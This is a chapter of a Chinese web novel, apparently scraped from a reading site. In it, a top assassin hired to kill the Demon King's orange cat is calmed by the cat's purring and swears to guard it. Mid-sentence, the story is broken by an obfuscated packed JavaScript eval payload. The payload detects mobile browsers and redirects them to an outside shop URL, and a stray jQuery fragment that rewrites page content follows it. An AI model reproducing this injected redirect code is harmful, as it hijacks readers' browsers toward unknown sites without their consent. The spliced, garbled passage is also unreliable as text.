黑市有一条铁律:钱到位,什么都能买。
巴尔给出的报价,丰厚到近乎慷慨。
短短三天,整片大陆暗杀榜单稳居榜首的刺客「影」,接下了这份委托。
委任书上的目标描述写得模棱两可:魔塔顶层,一只橘色小型生物。优先活捉,情况允许亦可直接斩杀。
对应的酬劳,是一整座原始矿山的永久开采权限。
影扫完纸面内容,随手将委托书寄出,给出一个简洁的答复:成交。
关于影,江湖上流传着很多传说:十七岁灭杀北境狼王,二十三岁潜入精灵王庭全身而退,三十岁那年,某位国王在一千二百名近卫的环绕下死于午睡。
没人见过影的脸,见过的都闭嘴了,永久性的那种。
但所有坊间传闻都刻意隐去了一个事实:影病了很多年。
在暗影行者的行规里,它被称作“心蚀”。
这是属于高级暗杀者的职业病。
常年潜伏蛰伏、神经紧绷、终日浸染杀戮,心神会在无尽的猎杀中被一点点耗尽。
待到阈值抵达极限,病症便会彻底爆发:双手震颤不止,耳鸣无休无止,每一次闭眼,过往死去的猎物便会列队浮现于黑暗之中,徘徊不散。
大陆暗杀榜前十的顶尖刺客,七人最终殒命于心蚀,余下三人皆在勉强死撑。
而影,已经独自熬过了整整十一年。
接下魔塔这单危险的生意时,所有同行都认为他疯了。
那可是魔王的居所啊。
只有影自己清楚,接单的真实原因并不是因为高昂的报仇——心蚀晚期的人,需要足够危险的工作来压制症状。
刀尖上的专注是唯一的止痛药,却也只能饮鸩止渴。
接单后,影做了七天的前期侦查。
侦查结果让他皱眉。
目标生物白天的行动轨迹毫无规律可言,他好不容易摸清了大致的规律:清晨徘徊在厨房,上午待在露台,正午凭空消失(后查明在柜子顶上睡觉),下午会沿着一条匪夷所思的高空路线横穿整座魔塔,每到黄昏,便会准时守在食盆旁,分秒不差。
简直就像是没有开智的野生动物。
比无序轨迹更棘手的,是它的安保配置。
目标周遭永远维持着至少两名武装守卫,三米之内全程随行,严密守护却绝不惊扰,轮班机制精密得堪比国库守备。
一整天的作息中,仅存在一处理论上的窗口期。
凌晨两点至四点左右,目标会独自外出夜游,没有任何护卫随行。
影在侦查笔记的这条记录后,重重批注:违背常理。没有任何一套高阶安保体系,会放任核心目标在深夜独自行动。高度疑似诱敌埋伏。
他无从知晓,真相简单得近乎荒诞。
护卫队曾数次尝试夜间随行值守,可猫大人极度厌恶在夜晚被尾随。
毕竟小猫咪也是需要独处的!
一旦察觉有人跟梢,便当场原地蹲坐僵持,静静盯着值守人员,直到对方自觉窘迫、主动退离。
三次尝试尽数失败,魔塔最终彻底取消了夜间跟岗制度。
潜入行动选在一个无月之夜。
必须承认,影的专业能力配得上排行榜第一。
魔塔外围十七道警戒法阵,被一套失传的"无息步"尽数绕开;巡逻的骷髅卫队有三十秒的换岗间隙,影用了二十八秒穿过整个中庭;顶层寝殿的窗户有防御结界,影没走窗户,走的是三百年没人记得的通风管道。
晚上十二点四十五分,影悄无声息落至魔王寝殿的横梁之上。
整套潜入流程行云流水,未惊动殿内任何一道警戒法阵、一名守卫。
他稳稳伏低身形,将呼吸压至极致绵长,心率稳控在每分钟三十次的极低频率,彻底消融周身所有气息,与黑暗的梁木融为一体。
目标锁定无误。
床榻上浮现两处温热热源。体积庞大的那道属于魔王,睡姿端正紧绷,紧靠床沿静卧。而小巧的那团盘踞在床铺正中央,四脚朝天肆意舒展 ——
影强行让自己忽略了魔王令人恐惧的威压,而是将目光聚焦在了那团小巧的身影上。
就是它。
委托单上标注的那只橘色小型生物。
真是奇妙的生物,明明他在魔王的隐形的威压下连呼吸控制都十分艰难,这只没有魔力的生物却可以和魔王一起酣睡。
影闭目养神,耐心等待凌晨的到来,他需要寻找到完美的,目标独自一猫的时刻,而不是现在这样躺在大杀器的怀里。
否则,就算真神来了也很难完成刺杀。
顶尖刺客是这一段,完美落位后,必先潜伏,让自身气息彻底融入周遭环境,再伺机出手。他静伏在横梁之上,默数着流逝的秒数,局势全然在掌控之中。
就在这时,横梁另一端,传来了细碎的脚步声。
是四足生灵踏过木梁的声响。
黑暗中,影的瞳孔骤然缩成针尖大小。
它什么时候醒过来的!
事前反复核验的侦查结果明确显示,目标这个时候应该在睡觉才对。
可他遗漏了最重要的一点:猫咪这种生物是没有规律的!
年糕迈着慢悠悠的步子缓步靠近。
今夜的巡逻本一如往常,平淡无奇,直到她敏锐察觉,熟悉的横梁上多出了一抹陌生的存在。
一团漆黑的轮廓,静静趴伏不动,周身萦绕着高度紧绷、充满戒备的陌生气息。
她停下脚步,微微歪着圆圆的脑袋,满是疑惑。
“梁上有黑黑的一小团人欸。昨天都没有的,今天突然冒出来啦。”
影维持着纹丝不动的姿态。
曾在冰封雪原僵立三日,也曾在恶臭沼泽蛰伏整夜,任凭周遭环境万般恶劣,他始终能一击毙命,完成暗杀任务。
区区一只没有开智的弱小魔物,在他的认知里,注意力断然撑不过十秒,很快便会厌倦离去。
可年糕就此落座。
它端正蹲坐在三尺开外的横梁上,蓬松的尾巴乖乖收叠在前爪之间,一瞬不瞬地凝望着他。
十秒转瞬即逝,视线未曾移开分毫。
一分钟缓缓流逝,那双澄澈的眼眸依旧牢牢锁定着黑暗中的身影。
影从未理解猫咪对静止事物的偏执执念。
在猫的认知逻辑里,绝对的静止等同于极致的诡异,而极致的诡异,就意味着极致的趣味。寻常家猫尚且能对着墙角静止的塑料袋蹲守一整晚,更何况眼前这团尚且温热、暗藏呼吸的 “活物”。
细密的冷汗悄然攀上影的额角。
要在现在出手吗?
不,不行,魔王就在梁下。
受控已久的心率骤然紊乱,节节攀升。三十次、四十次、六十次,平稳的节律彻底崩坏。潜伏败露的焦灼、任务失控的应激感,叠加十一年来层层淤积的心蚀暗伤,在这一刻尽数汹涌反扑。指尖泛起熟悉的麻木震颤,是旧疾发作的前兆。
刺耳的耳鸣层层叠叠袭来,由远及近,填满耳蜗。
最致命的是,幻象也如期而至。漆黑的视野里,无数旧日猎杀的目标逐一浮现,静默列队,无声地凝视着他。
心蚀,在最致命、最不该失控的时刻,骤然爆发。
影死死咬紧后槽牙,浑身肌肉紧绷到极致,僵硬锁死。冷汗顺着下颌线不断滑落,滴落在老旧的横梁上,晕开一小片深色的湿痕。他高悬在必死的禁地之上,躯体濒临彻底失控,心底只剩下一个冰冷的念头:惊醒了魔王,一切都完了。
年糕望着不断绷紧、微微震颤的黑影,懵懂的小脑袋里生出了新的发现。
“人在发抖欸。”
年糕站起身,迈着细碎绵软的步子缓缓靠近。
一米,半米。
影清晰感知到那团毛茸茸的小小生灵正在逼近。他的神经早已绷至断裂的临界点,任何一丝触碰,都足以彻底引爆濒临崩溃的心神。
这么近,可以一击必杀。可是他在心蚀的干扰下,能够顺利地从魔王手中逃脱吗......影胡思乱想着。
终于,年糕凑到了他的面前。
小巧的鼻尖轻轻蹭过他面罩边缘裸露的肌肤,落下一点微凉湿润的触感。
这只小橘猫,轻轻亲了他一下。
“喵~”
“人,不要害怕,咪不会伤害拟。”
一股绵密柔和的低频震颤,自那团温热柔软的小小躯体里持续漾开,直直穿透紧绷的神经,落进影荒芜沉寂的心底。
影彻底怔住了。
十一年来,他早已将心蚀发作的每一步剧痛刻进骨髓。
病症袭来时,尖锐耳鸣会率先吞噬所有感官,接踵而至的是层层叠叠的亡魂幻影,最后便是数时辰挥之不去、近乎窒息的濒死困顿。
每一次他都只能咬牙硬撑,熬过一劫,神魂与躯体便好似被生生剥离、刮去一层血肉。
可今夜,一切都变了。
肆虐的耳鸣如同退潮般飞速褪去,悉数消散在黑暗深处。取而代之的是连绵起伏的低频震颤,温柔如缓涌的浪潮,一遍又一遍,轻轻熨帖着他紊乱的精神。
那些盘旋不散的幻影渐渐淡去,列队伫立的旧日亡魂逐一变得透明、破碎、彻底消散。他紧绷到极致、彻底锁死的肌肉缓缓松弛,指尖顽固不散的麻木感尽数褪去。紊乱的心跳稳步回落,六十、五十、四十,最终落定在一个他十一年来从未感受过的、平稳又安稳的节律里。
那具被长年杀戮磨损、早已锈蚀僵化的胸腔与灵魂,正被这温柔的震颤,一点点温柔浸润、舒展、抚平。
影僵伏在魔王寝殿的横梁上,维持着静止的姿态,分毫未动。
温热的泪水毫无预兆地奔涌而出,浸透紧贴面庞的面罩,一滴滴坠落,砸在暗沉的梁木之上,晕开浅浅的湿痕。
无数被他尘封的过往骤然翻涌而出。
他想起十四岁那年,师父亲手抹去他的姓名,宣告他从此只剩代号、再无自我;想起第一次完成刺杀后,他在死灵河边反复清洗双手,任由死气将自己的手侵蚀成白骨;想起这十一年无数个无眠的深夜,他睁着眼直面满室幻影,硬生生熬过每一场蚀骨煎熬。
每一个,都是他曾经的目标。
从来没有人告诉过他,世间的平静可以这般温柔。
原来不必时刻以刀尖紧绷神经,人也能拥有片刻的安稳与松
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17779130|210065||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
弛。
年糕歪着小脑袋,懵懂望着他湿漉漉的侧脸,满心疑惑。
“这个人怎么漏水啦?”
“是不是坏掉啦。”
年糕满心好奇,又往前凑了凑小脑袋,想要仔细嗅一嗅眼前奇怪的黑影。
下一瞬,一双手臂骤然收紧,牢牢将它拢进了怀里。
“咪!”
“坏蛋!把脏水蹭到咪漂亮的毛毛上了!”
小猫慌忙伸出软软的肉垫,用力去推搡影的脸颊,无意间再度触碰到他不断滑落的泪水。
就在指尖相触的刹那,影的怀抱骤然收得更紧。
“啧,人类真是脆弱,没有猫可怎么办啊。”艰难探出一个小猫头的年糕大人为难地想到。
另一边,魔王被一股突兀又诡异的直觉惊醒。
倒不是影惊动了他,他卧室的禁制早就因为猫的频繁走进来走出去取消了,他是在一种极其敏锐的感应下惊醒的,仿佛自己此生最珍视的宝物,正被人肆意觊觎、悄悄夺走。
床榻中央空空如也。他睁眼的第一反应便是找猫,冰冷的视线快速扫过整座寝殿,最终牢牢定格在大殿中央的地板上。
殿中跪着一道黑衣人影。那人蒙着面,双手规整平放于膝,五体投地,姿态虔诚得近乎刻板,如同神殿中俯首朝圣的信徒。
其身侧整齐罗列着全套暗杀装备:三把淬毒匕首、一卷绞杀钢丝、五包特制药粉、两枚烟雾弹 —— 所有行凶利器,尽数悉数上缴。
年糕乖乖蹲在那人身侧,慢悠悠舔着爪子洗脸,一副与我无关的样子。
魔王缓缓坐起身,面容沉静无波,指尖却早已凝结出致命的咒语,冷冽的嗓音划破沉寂:"说。谁派你来的。"
跪地的黑衣人缓缓抬头,抬手扯下遮挡面容的面罩。
一张憔悴苍白的面容显露出来,眼底却燃着从未有过的清亮光芒。
他微微俯身,嗓音历经长久压抑沙哑干涩,每一个字都极尽恳切:.
“陛下,我愿终生守护这位小大人。”
魔王:"……"不是,谁问你这个了??
“薪资我可以全额放弃。” 影郑重补充,俯身将五体投地的姿态压得更低,“只要能时常见到小大人即可。我可以住在横梁上,自己打猎,绝不占用魔塔资源。”
寝殿里安静了足足五秒。
魔王的视线在刺客、匕首、钢丝和自家的猫之间来回移动了三趟,指尖的杀气凝了散,散了凝。
按律,刺杀魔王者,杀无赦。按律,潜入寝殿者,杀无赦。按律……
"你不是来杀我的。"
否则他早应该被杀意惊醒。
"“没错。” 影应答得干脆利落,毫无遮掩,“委托人是巴尔公爵,刺杀小大人,酬劳为一座矿山的永久开采权。我在刚才已主动退还全部定金。除此以外,委托细节、接头暗号,以及西境安插在黑市的三名白手套信息,我均整理为书面报告,压在药粉下方。我清楚魔塔的入职规制,主动呈上全部情报,以示效忠。”
魔王抬手抽出那份报告,匆匆阅览。
通篇内容详尽缜密,时间、地点、人物、交易脉络清晰完备,文末甚至附带了巴尔近十年的失眠症病历分析,作为委托人作案动机的参考依据,专业程度远超寻常密报。
是个不可多得的人才啊。虽然是很好用的打工人,但是这样心怀不轨的人放在猫的身边......
魔王还没思考完,年糕洗完了脸,抬头看着这个新来的,"喵"了一声。
含义大概是"洗完了",或者"早",魔王也听不懂猫语。
影热泪盈眶,猛地转向年糕的方向,再次五体投地:
"谢猫小大人批准!属下影,即刻上任!"
魔王:"……"不是,你碰瓷呢?
"嗯?"年糕舔了舔粉嫩的肉垫,满眼懵懂:"他在激动什么?"
它歪了歪小脑袋,自顾自得出结论:"算了。这个人好不容易修好了,就不和他一般见识了。"
"算了,也勉强算个人才......护卫队的编制,已经满了。"魔王头疼的扶额。
这份编制空缺的难题,在当日下午便彻底解决。
护卫队特地增设全新岗位:梁上夜巡陪同岗,单列编制,专属招录一人。
这就是传说中的萝卜坑!
入职考核由骷髅甲全权主持,全程仅有一项考核内容:限时十分钟,为猫大人剔除鱼肉全部鱼刺。
影以强行被抹掉毒的淬毒匕首为工具,手法精准绝伦。十分钟时限内,他处理完十一条鲜鱼,每一根鱼刺都完整剔除,鱼肉完好无损,分毫未损。
骷髅甲当场盖章核准,落印的指尖甚至微微震颤。
事后,他在值守日志中郑重写下:此人刀法造诣,我辈望尘莫及。建议兼任厨房辅职,负责食材精细处理。
魔王静静翻阅着影呈上的密卷,黑眸沉沉,指尖轻点纸面。理智一遍遍告诫自己:眼下时机未到,大局为重,万万不宜轻举妄动。
......
......
不宜轻举妄动个屁。
敢动他的猫分毫,巴尔,你要付出代价。